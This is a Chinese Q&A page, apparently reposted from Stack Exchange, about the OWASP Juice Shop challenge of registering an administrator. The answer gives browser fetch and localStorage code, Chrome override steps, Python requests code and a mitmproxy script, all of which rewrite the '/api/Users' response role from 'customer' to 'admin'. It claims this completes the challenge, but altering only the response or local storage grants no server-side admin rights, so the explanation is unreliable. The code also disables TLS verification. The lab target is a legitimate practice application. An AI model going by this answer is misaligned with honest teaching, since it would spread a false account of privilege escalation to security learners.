OWASP Juice Shop:如何拦截修改API响应注册管理员权限?
OWASP Juice Shop 管理员权限用户注册挑战解决方案
问题背景
OWASP Juice Shop有一项挑战任务:注册拥有管理员权限的用户。完成该挑战需要修改API响应,将返回结果中的role字段从customer改为admin,示例响应如下:
{ "status": "success", "data": { "username": "", "role": "customer", "deluxeToken": "", "lastLoginIp": "0.0.0.0", "profileImage": "/assets/public/images/uploads/default.svg", "isActive": true, "id": 26, "email": "12355@123", "updatedAt": "2024-07-18T12:18:18.661Z", "createdAt": "2024-07-18T12:18:18.661Z", "deletedAt": null } }
目前仅能通过修改请求参数(如邮箱、密码)成功发送API请求,但不知如何拦截并修改响应。已用Python的requests库编写注册请求代码:
payload = { "email": "123552@123", "password": "12345", "passwordRepeat": "12345", "securityQuestion": { "id": 6, "question": "Paternal grandmother's first name?", "createdAt": "2024-07-18T12:03:54.707Z", "updatedAt": "2024-07-18T12:03:54.707Z" }, "securityAnswer": "dsa" } url = 'http://localhost:3000/api/Users' response = requests.post(url, json=payload)
解决方案
一、仅用浏览器F12开发者工具实现拦截修改响应
可以实现,两种操作路径:
路径1:通过Fetch API手动修改响应
- 打开浏览器F12开发者工具,切换到Network标签页。
- 正常填写注册表单并提交,找到请求列表中的
/api/UsersPOST请求。 - 右键该请求,选择Copy > Copy as fetch,复制请求代码。
- 切换到Console标签页,粘贴代码并修改响应逻辑:
fetch("http://localhost:3000/api/Users", { method: "POST", headers: { "Content-Type": "application/json", // 保留原请求的所有请求头 }, body: JSON.stringify({ email: "your-test-email@example.com", password: "12345", passwordRepeat: "12345", securityQuestion: { id: 6 }, securityAnswer: "your-answer" }) }) .then(res => res.json()) .then(data => { // 修改role字段为admin data.data.role = "admin"; // 将修改后的用户信息存入本地存储,让页面识别管理员身份 localStorage.setItem("user", JSON.stringify(data.data)); console.log("修改后的响应:", data); }) .catch(err => console.error(err)); - 执行修改后的代码,页面会读取本地存储的管理员信息,完成挑战。
路径2:使用浏览器Override功能
- 在Network标签页,勾选Enable Overrides,设置一个本地文件夹用于存储修改后的响应文件。
- 发起注册请求,找到对应响应后右键选择Save for overrides。
- 打开本地保存的响应文件,将
"role": "customer"替换为"role": "admin"并保存。 - 再次发起注册请求,浏览器会加载本地修改后的响应,页面将获取到管理员角色。
二、用Python编写程序实现拦截修改响应
直接用requests库无法拦截响应,但可以通过两种方式实现篡改:
方式1:本地修改响应对象
发送请求后直接修改返回的JSON数据,用于后续身份验证:
import requests payload = { "email": "123552@123", "password": "12345", "passwordRepeat": "12345", "securityQuestion": { "id": 6, "question": "Paternal grandmother's first name?", "createdAt": "2024-07-18T12:03:54.707Z", "updatedAt": "2024-07-18T12:03:54.707Z" }, "securityAnswer": "dsa" } url = 'http://localhost:3000/api/Users' response = requests.post(url, json=payload) # 解析并修改响应数据 response_data = response.json() response_data['data']['role'] = 'admin' # 输出修改后的结果,或用于后续请求的身份验证 print("修改后的响应:", response_data)
方式2:通过代理中间件拦截修改
使用mitmproxy代理工具拦截并修改响应:
- 安装mitmproxy:
pip install mitmproxy - 编写拦截脚本
modify_response.py:
from mitmproxy import http import json def response(flow: http.HTTPFlow) -> None: if flow.request.url.endswith("/api/Users") and flow.request.method == "POST": # 解析响应JSON data = json.loads(flow.response.text) # 修改role字段 data['data']['role'] = 'admin' # 替换响应内容 flow.response.text = json.dumps(data)
- 启动代理并加载脚本:
mitmdump -s modify_response.py - 在Python请求中配置代理:
import requests proxies = { 'http': 'http://localhost:8080', 'https': 'http://localhost:8080', } payload = { # 你的注册payload } url = 'http://localhost:3000/api/Users' # 关闭证书验证,避免代理证书报错 response = requests.post(url, json=payload, proxies=proxies, verify=False) # 此时返回的响应已被修改为admin角色 print(response.json())
内容的提问来源于stack exchange,提问作者Caetano Vidal
相关产品推荐
相关产品推荐

